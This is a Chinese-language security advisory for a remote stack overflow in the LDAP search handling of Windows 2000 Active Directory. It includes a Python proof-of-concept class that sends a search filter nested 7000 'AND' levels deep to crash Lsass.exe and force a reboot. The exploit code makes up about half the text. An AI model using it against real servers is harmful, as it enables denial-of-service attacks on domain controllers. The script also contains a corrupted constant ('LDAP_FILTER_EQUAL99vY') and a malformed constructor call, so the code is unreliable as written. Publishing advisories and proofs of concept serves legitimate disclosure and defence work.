涉及程序：
Win2k Active Directory
描述：
Microsoft Windows 活動目錄遠程堆棧溢出缺陷
詳細：
Windows Active Directory(活動目錄)是Windows 2000結構的重要組件，是Microsoft提供的強大的目錄服務系統。
Windows活動目錄的LDAP 3搜索請求功能對用戶提交請求缺少正確緩沖區邊界檢查，遠程攻擊者可利用此缺陷使Lsass.exe服務崩潰，觸發緩沖區溢出。
通過活動目錄提供的目錄服務基於LDAP協議和並使用協議存儲和獲得Active目錄對象。活動目錄中使用LDAP 3的'search request'請求功能存在問題，攻擊者如果構建超過1000個"AND"的請求，並發送給服務器，可導致觸發堆棧溢出，使Lsass.exe服務崩潰，系統會在30秒內重新啟動。
攻擊方法：
CORE Security Technologies Advisories （[email protected]）提供了如下測試方法：
下面是一段Python測試腳本：
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class ActiveDirectoryDOS( Ldap ):
def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'
self.port = 389
self.buffer = ''
self.msg_id = 1
Ldap.__init__()
def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )
return filterBuffer
def generateFilter_RecursiveBinaryOp( self, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp )
return filterBuffer
def searchSub( self, filterBuffer ):
self.bindRequest()
self.searchRequest( filterBuffer )
def run(self, host = '', basedn = '', name = '' ):
# the machine must not exist
machine_name = 'xaxax'
filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUAL99vY,'name',machine_name)
# execute the anonymous query
print 'executing query'
filterBuffer = self.generateFilter_RecursiveBinaryOp( filterComputerNotInDir, 7000 )
self.searchSub( filterBuffer )
